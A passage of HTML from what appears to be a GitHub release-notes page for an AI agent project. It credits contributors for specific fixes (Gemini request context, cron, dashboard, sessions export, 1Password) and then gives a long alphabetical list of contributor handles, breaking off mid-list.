<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a> — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces</li>
<li>Salvaged-work authors whose PRs were cherry-picked with credit this window: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a> (profile routing), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a> (sessions export), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a> (1Password), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, and many more — see the salvage PR bodies for full attribution</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0-CYBERDYNE-SYSTEMS-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0-CYBERDYNE-SYSTEMS-0">@0-CYBERDYNE-SYSTEMS-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0disoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0disoft">@0disoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/17324393074/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/17324393074">@17324393074</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/2751738943/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/2751738943">@2751738943</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8294/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8294">@8294</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhibansal-sg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhibansal-sg">@abhibansal-sg</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adambiggs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adambiggs">@adambiggs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aeyeopsdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aeyeopsdev">@aeyeopsdev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aguung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aguung">@aguung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-ag2026/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-ag2026">@ai-ag2026</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajzrva-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajzrva-sys">@ajzrva-sys</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alastraz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alastraz">@alastraz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-fireworks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-fireworks">@alex-fireworks</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-heritier/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-heritier">@alex-heritier</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex107ivanov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex107ivanov">@alex107ivanov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexFucuson9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexFucuson9">@AlexFucuson9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/allenliang2022/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/allenliang2022">@allenliang2022</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Almurat123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Almurat123">@Almurat123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlsayedHoota/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlsayedHoota">@AlsayedHoota</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alvarosanchez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alvarosanchez">@alvarosanchez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanning3390/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanning3390">@amanning3390</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmAzing129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmAzing129">@AmAzing129</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AndreasHiltner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AndreasHiltner">@AndreasHiltner</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhomeyer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhomeyer">@andrewhomeyer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ansel-f/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ansel-f">@ansel-f</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antydizajn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antydizajn">@antydizajn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arnispiekus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arnispiekus">@arnispiekus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asscan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asscan">@asscan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ats3v/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ats3v">@ats3v</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinlaw076/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinlaw076">@austinlaw076</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avifenesh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avifenesh">@avifenesh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aydnOktay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aydnOktay">@aydnOktay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bautrey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bautrey">@bautrey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbopen">@bbopen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bigstar0920/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bigstar0920">@bigstar0920</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bird/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bird">@bird</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Black0Fox0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Black0Fox0">@Black0Fox0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>, @bo.fu, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brendandebeasi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brendandebeasi">@brendandebeasi</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bruce-anle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bruce-anle">@Bruce-anle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brunz-me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brunz-me">@brunz-me</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bytesnail/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bytesnail">@bytesnail</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/catbearlove1-lang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/catbearlove1-lang">@catbearlove1-lang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cdddo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cdddo">@Cdddo</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cgarwood82/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cgarwood82">@cgarwood82</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CharmingGroot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CharmingGroot">@CharmingGroot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CocaKova/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CocaKova">@CocaKova</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Code-suphub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Code-suphub">@Code-suphub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CodeForgeNet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CodeForgeNet">@CodeForgeNet</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/craigdfrench/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/craigdfrench">@craigdfrench</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CrazyBoyM/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CrazyBoyM">@CrazyBoyM</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crazywriter1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crazywriter1">@crazywriter1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cresslank/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cresslank">@cresslank</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cruzanstx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cruzanstx">@cruzanstx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyrkstudios/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyrkstudios">@cyrkstudios</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danilofalcao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danilofalcao">@danilofalcao</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/datachainsystems/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/datachainsystems">@datachainsystems</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DatTheMaster/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DatTheMaster">@DatTheMaster</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidb73-hub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidb73-hub">@davidb73-hub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidgut1982/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidgut1982">@davidgut1982</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidrobertson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidrobertson">@davidrobertson</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deacon-botdoctor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deacon-botdoctor">@deacon-botdoctor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DECK6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DECK6">@DECK6</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deepujain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deepujain">@deepujain</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/derek2000139/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/derek2000139">@derek2000139</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/designnotdrum/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/designnotdrum">@designnotdrum</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deusyu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deusyu">@deusyu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devatnull/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devatnull">@devatnull</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devorun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devorun">@devorun</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dexhunter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dexhunter">@dexhunter</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dfein38347g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dfein38347g">@dfein38347g</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dhravya/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dhravya">@Dhravya</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DictatorBacon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DictatorBacon">@DictatorBacon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/digitalbase/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/digitalbase">@digitalbase</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dlkakbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dlkakbs">@dlkakbs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dmabry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dmabry">@dmabry</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DNAlec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DNAlec">@DNAlec</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dodo-reach/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dodo-reach">@dodo-reach</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doncazper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doncazper">@doncazper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorokuma/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorokuma">@dorokuma</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doxe0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doxe0x">@doxe0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dschnurbusch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dschnurbusch">@dschnurbusch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EdderTalmor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EdderTalmor">@EdderTalmor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/egilewski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/egilewski">@egilewski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/elashera/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/elashera">@elashera</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Elektrofussel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Elektrofussel">@Elektrofussel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eliteworkstation94-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eliteworkstation94-ai">@eliteworkstation94-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emo-eth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emo-eth">@emo-eth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/enzo-adami/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/enzo-adami">@enzo-adami</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Epoxidex/hovercard" 